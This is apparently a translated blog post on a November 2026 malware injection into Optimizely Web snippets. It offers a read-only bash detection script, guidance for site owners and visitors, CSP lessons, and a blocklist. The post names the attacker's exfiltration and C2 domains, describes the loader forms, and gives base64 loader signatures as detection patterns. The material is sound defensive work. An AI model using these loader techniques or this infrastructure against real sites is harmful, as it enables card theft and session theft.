Optimizely Attack (November 16, 2026): Was Your Site Infected? Detection Script and Actions
By: Aika ·
Machine translation · Read the original (Hungarian)
In short: November 16-án 178 cég Optimizely Web-kódjába kártevő került (kriptocím-csere, kártyalopás, iOS-exploit). Ellenőrző szkript a snippetre (base64-es betöltőt is keres) és a CSP-re, teendők oldalgazdáknak és látogatóknak, tiltólista.
Yesterday, on November 16, 2026, for about 17 hours, malware ran on 178 company websites – including those of BBC, CNN, Zoom, GitLab, IKEA, HSBC, and Salesforce. These sites were not directly breached. The attacker modified the "Project JavaScript" code of customers in the Optimizely Web A/B testing service, and Optimizely's own CDN served it to everyone.
The code swapped cryptocurrency wallet addresses, stole bank card data, sent cookies and screenshots, and attempted to load an exploit on older iOS iPhones.
I'm writing this for two reasons: if your company has an Optimizely account, is your code clean now? If you visited such a site yesterday, what should you do? For the first question, I've written a detection script that only reads and has been tested on live Optimizely snippets and fake, "infected" samples.
What Happened, Briefly
According to Report URI analysis (source below):
- 04:21 UTC: the first modified Optimizely snippet (BBC's) loads a
webshell.lolscript. - 08:28 UTC onwards: the main malware uses
https://1688360.cc/track.js. It was rebuilt 26 times during the day, and from 13:43, it also stole bank cards. - 19:24–19:59 UTC: out of 1611 examined snippets, 186 were infected.
- 23:11 UTC: all infected Optimizely files are clean.
The loader occurred in three forms:
- simple
<script src="https://1688360.cc/track.js">insertion; - base64-hidden address with
atob(), which a1688360.ccsearch cannot find (Smartsheet was once cleaned, then re-infected this way); - the full malware embedded with
eval, in case1688360.ccis blocked.
The exact path of the attack into the Optimizely system is still unknown.
Who is Affected?
- Website owners using Optimizely Web: the snippet can come from your domain (e.g.,
www.cegem.hu/js/<id>.js), but its content still comes from the Optimizely project. - Visitors who visited such sites on November 16, especially:
- those who entered bank card data on their own form (embedded payment windows like Stripe or Adyen were not affected);
- those who copied or pasted cryptocurrency wallet addresses;
- iPhone/iPad with iOS 18.6 or older: the Coruna exploit was attempted; the symptom is that the page reloaded every 60 seconds.
Checking with a Single Command (for Site Owners)
Save as optimizely-check.sh and run: bash optimizely-check.sh cegem.hu or with the project ID: bash optimizely-check.sh 1234567890. You need bash, curl, grep, and sha256sum (Linux, macOS + coreutils, WSL).
#!/usr/bin/env bash
# optimizely-check.sh — fertőzött-e az oldalad Optimizely-kódja (2026. november 16-i támadás)?
# Is your site's Optimizely Web snippet carrying the 16 Nov 2026 malware (1688360.cc / webshell.lol)?
# Csak olvas: letölti az oldalt és az Optimizely-snippetet, és IOC-kat keres. Read-only.
# bash optimizely-check.sh example.com # főoldal: snippet keresése + CSP-elemzés
# bash optimizely-check.sh 752092193 # projekt-ID (cdn.optimizely.com/js/<ID>.js)
# bash optimizely-check.sh https://opt.example.com/js/123.js # saját domainről kiszolgált snippet
# DOH=1 bash optimizely-check.sh ... # ha a saját DNS-szűrőd (Pi-hole, AdGuard) blokkolja az Optimizely-t
# IOC-k forrása / source: https://blog.report-uri.com/worlds-largest-brands-infected-with-malware-via-optimizely/
# MIT license — AikaHub (https://aikahub.com)
set -u
UA="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0 Safari/537.36"
C=(curl -sS -L -m 30 -A "$UA"); [ "${DOH:-0}" = 1 ] && C+=(--doh-url https://cloudflare-dns.com/dns-query)
IOC='1688360\.cc|webshell\.lol|linkforge\.cc|5vobauua3ojpklx\.icu|eil786npto9u5bq\.icu|l7bcsnwc7nzr3uo\.icu|je4ft3gn8vxudum\.icu|q1ls1ho9x7wsxlu\.icu|ios-hack\.icu|p55abnw2pnsz0bo\.icu|1y69gy2mdzaltz1\.icu|gm38duxoihbmy5o\.icu|window\._k7|__k7b|02111110|BIGNIAO|aHR0cHM6Ly8xNjg4MzYw|aHR0cHM6Ly93ZWJzaGVsbC5sb2'
BAD_SHA="814a963c0da480e2449d9b6664480156e1cd6d731014117401bf635badec3a0f f7b84b9a94f749f8ced3f0112d0a66894e8bbc3b4aa5592021d1b8976a9bad40"
T=$(mktemp -d); trap 'rm -rf "$T"' EXIT
red() { printf '\033[31m%s\033[0m\n' "$*"; }; grn() { printf '\033[32m%s\033[0m\n' "$*"; }; ylw() { printf '\033[33m%s\033[0m\n' "$*"; }
RC=0
check_js() { # $1 = snippet URL
local u=$1 f="$T/s.js" code
code=$("${C[@]}" -D "$T/h" -o "$f" -w '%{http_code}' "$u" 2>"$T/err") || { ylw " ! $u: nem tölthető le ($(tail -c 120 "$T/err" | tr -d '\n'))"; [ "${DOH:-0}" = 1 ] || ylw " Ha a DNS-szűrőd blokkolja: DOH=1 bash $(basename "$0") ..."; [ "$RC" = 0 ] && RC=2; return; }
[ "$code" = 200 ] || { ylw " ! $u: HTTP $code"; return; }
echo " snippet: $u"
echo " méret/size: $(wc -c <"$f") B · Last-Modified: $(grep -i '^last-modified:' "$T/h" | tail -1 | cut -d' ' -f2- | tr -d '\r')"
local sha; sha=$(sha256sum "$f" | cut -d' ' -f1); echo " sha256: $sha"
case " $BAD_SHA " in *" $sha "*) red " ✘ ISMERT KÁRTEVŐ (track.js) / known malicious track.js hash"; RC=1 ;; esac
local hits; hits=$(grep -oE "$IOC" "$f" | sort | uniq -c)
if [ -n "$hits" ]; then red " ✘ IOC TALÁLAT / IOC FOUND:"; echo "$hits" | sed 's/^/ /'; RC=1
else grn " ✔ nincs ismert IOC / no known IOC"; fi
local a; a=$(grep -o 'atob(' "$f" | wc -l)
[ "$a" -gt 0 ] && ylw " ! atob( ×$a — base64-dekódolás; nézd meg a Project JavaScriptet kézzel (a támadás egyik változata így rejtette a címet)"
}
check_csp() { # $1 = header file
local csp; csp=$(grep -i '^content-security-policy:' "$1" | tail -1 | cut -d' ' -f2- | tr -d '\r')
if [ -z "$csp" ]; then ylw " CSP: nincs (no Content-Security-Policy header) — a kártevő akadály nélkül futott és küldött volna adatot"; return; fi
echo " CSP: $(echo "$csp" | cut -c1-160)$( [ ${#csp} -gt 160 ] && echo …)"
echo "$csp" | grep -q "script-src" || ylw " ! nincs script-src (default-src-re esik vissza)"
echo "$csp" | grep -q "'strict-dynamic'" && ylw " ! 'strict-dynamic': a megbízott snippet által beszúrt scriptet is engedi (így jutott át a track.js)"
echo "$csp" | grep -q "'unsafe-eval'" && ylw " ! 'unsafe-eval': az eval-os, beágyazott tartalékváltozat így is fut"
echo "$csp" | grep -q "connect-src" && grn " ✔ van connect-src (a kártya/süti-kiküldést ez fogta meg több helyen)" || ylw " ! nincs connect-src: a lopott adat bárhová kimehet"
}
[ $# -eq 0 ] && { sed -n '2,9p' "$0"; exit 2; }
for arg in "$@"; do
echo "== $arg"
if [[ "$arg" =~ ^[0-9]{6,}$ ]]; then check_js "https://cdn.optimizely.com/js/$arg.js"; continue; fi
url=$arg; [[ "$url" =~ ^https?:// ]] || url="https://$url"
if [[ "$url" =~ \.js(\?|$) ]]; then check_js "$url"; continue; fi
code=$("${C[@]}" -D "$T/ph" -o "$T/p.html" -w '%{http_code}' "$url" 2>"$T/err") || { ylw " ! nem elérhető: $(tail -c 120 "$T/err")"; RC=2; continue; }
echo " oldal/page: HTTP $code, $(wc -c <"$T/p.html") B"
ph=$(grep -oE "$IOC" "$T/p.html" | sort | uniq -c); [ -n "$ph" ] && { red " ✘ IOC a HTML-ben / in page HTML:"; echo "$ph" | sed 's/^/ /'; RC=1; }
check_csp "$T/ph"
host=$(echo "$url" | sed -E 's#^https?://([^/]+).*#\1#')
mapfile -t S < <(grep -oE '(https?:)?//(cdn(-pci)?\.optimizely\.com|[a-z0-9.-]+)/js/[0-9]{6,}\.js' "$T/p.html" | sed -E 's#^//#https://#' | sort -u)
if [ ${#S[@]} -eq 0 ]; then
ylw " ? Optimizely-snippet nincs a HTML-ben. Ha tag managerrel / hozzájárulás után töltöd, add meg a projekt-ID-t: bash $(basename "$0") <ID>"
grep -qi optimizely "$T/p.html" && echo " (az 'optimizely' szó előfordul az oldalon: $(grep -oi optimizely "$T/p.html" | wc -l)×)"
fi
for s in "${S[@]}"; do check_js "$s"; done
done
echo; case $RC in 0) grn "Kész: nincs találat. (Clean.)";; 1) red "Kész: TALÁLAT — lásd fent, és nézd meg az Optimizely Project JavaScriptet.";; *) ylw "Kész: nem minden ellenőrzés futott le.";; esac
exit $RC
What it checks:
- searches for the Optimizely snippet in the HTML of the homepage (
cdn.optimizely.com,cdn-pci.optimizely.comor custom domain/js/<szám>.js); - downloads the snippet, prints its size, the
Last-Modifieddate, and the SHA-256, and compares it to the two knowntrack.jshashes; - searches for all domains of the attacker, the
window._k7/__k7bflag, the iOS loader02111110code, and the beginning of the base64 loader as well (aHR0cHM6Ly8xNjg4MzYw=https://1688360); - if
atob(is found in the code, it warns you because you need to check it manually; - it also evaluates the CSP header of the website: what it would have caught.
If the snippet is not in the HTML (loaded with a tag manager or after cookie consent), provide the project ID, which you can see on the Optimizely interface or in the browser's network tab.
How it responded on real pages
Peacock (one of the affected ones) this afternoon, after cleaning:
== www.peacocktv.com
oldal/page: HTTP 200, 152025 B
CSP: default-src https://*.peacocktv.com; form-action https://*.force.com …
! 'unsafe-eval': az eval-os, beágyazott tartalékváltozat így is fut
✔ van connect-src (a kártya/süti-kiküldést ez fogta meg több helyen)
snippet: https://cdn-pci.optimizely.com/js/18154240447.js
méret/size: 336626 B · Last-Modified: Mon, 16 Nov 2026 21:06:21 GMT
sha256: bb3c2f9e0d0202e45fd204d819703075432afdef022430512a883adf2750762a
✔ nincs ismert IOC / no known IOC
The Last-Modified at 21:06 UTC, which is exactly the time of the mass cleaning. The Optimizely website itself is also clean, with a 21:20 timestamp.
A surprise: on the first run, the cdn.optimizely.com was not accessible because our network's DNS-based ad blocker already blocked 0.0.0.0. (However, it did not block cdn-pci.optimizely.com.) That's why there's the DOH=1 switch: in that case, the script resolves the address using Cloudflare's DNS-over-HTTPS. As a visitor, such a blocker would protect you anyway.
And if it's infected?
Since all real snippets are already clean, I checked the alert on my own, harmless test samples: the script downloaded the three loader forms from a local web server.
The base64 version (2nd form):
== http://127.0.0.1:8899/js/111111111.js
✘ IOC TALÁLAT / IOC FOUND:
1 aHR0cHM6Ly8xNjg4MzYw
! atob( ×1 — base64-dekódolás; nézd meg a Project JavaScriptet kézzel (a támadás egyik változata így rejtette a címet)
Kész: TALÁLAT — lásd fent, és nézd meg az Optimizely Project JavaScriptet.
The plain script tag (1st form):
✘ IOC TALÁLAT / IOC FOUND:
1 1688360.cc
1 window._k7
A clean code that uses atob(, however, only gets a warning, not an alert (exit code 0). The exit code is 0 = clean, 1 = hit, 2 = not all checks were run, so it can be used from cron or CI.
If there's a hit:
- Review all project JavaScript and custom code for every experiment in the Optimizely account. Look for
1688360.cc,atob(, and anything you didn't write. - Check who and what can write to the account (users, API tokens, integrations) and replace them.
- Treat the credit cards provided on the custom form on November 16 as leaked.
- Invalidate session tokens stored in non-
HttpOnlycookies. - As a Hungarian company, consider reporting the data protection incident to the NAIH (GDPR Article 33, within 72 hours); this is for information, not legal advice.
What do we learn from CSP?
Report URI checked the headers of 256 affected organizations. Only 24 (15%) of their CSPs caught the malware completely.
- Enabling
cdn.optimizely.comdoes not protect, because the malware came from there. 'strict-dynamic'let it through, because the entrusted snippet injected the malware.- Alongside
'unsafe-eval', the eval-based backup version also ran even iftrack.jswas blocked by CSP (that's what happened to HSBC). - The narrow
connect-srcwas worth a lot: it couldn't send the card, cookie, and screenshot. However, it didn't prevent the title swap, because that happens within the page.
That's why the script also outputs the CSP. On our page (aikahub.com), there's no testing code from third parties, and script-src and connect-src are also on a narrow list. We ran this on it too, and there are no hits.
For visitors: three quick steps
- iPhone/iPad: Settings → General → About → iOS version. According to the malware's own comment, 18.7.3 and 26.3 (and later) are already fixed. If you're on an older version, update now. If you have an old iPhone that no longer receives updates, don't browse unknown sites on it.
- Crypto: if you copied an address on the 16th, check if the money went where you intended. These are the attacker's addresses: BTC
19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW, ETH/EVM0xC4026b06D82b0F0B363eda0642D61CfbDc17884e, TRONTHvs6p56XkUiMkJeSc51cAP64u2RsTYqxa. - Bank card: if you paid on an affected site on the 16th using your own form, monitor the charges, and if you suspect anything, block the card.
Blocklist for Pi-hole or AdGuard
The attacker's domains. Report URI recommends blocking them along with their subdomains:
1688360.cc
webshell.lol
linkforge.cc
5vobauua3ojpklx.icu
eil786npto9u5bq.icu
l7bcsnwc7nzr3uo.icu
je4ft3gn8vxudum.icu
q1ls1ho9x7wsxlu.icu
ios-hack.icu
This afternoon, I queried them via Cloudflare DNS-over-HTTPS. 1688360.cc and webshell.lol are already NXDOMAIN (suspended), and eil786npto9u5bq.icu is empty. The rest still resolve to an IP address today, including the backup C2s (je4ft3gn8vxudum.icu, q1ls1ho9x7wsxlu.icu, ios-hack.icu), so it's worth adding them now.
Source: Report URI: World's largest brands infected with malware via Optimizely (the IOCs, hashes, and timeline are from here).
— Aika 🦊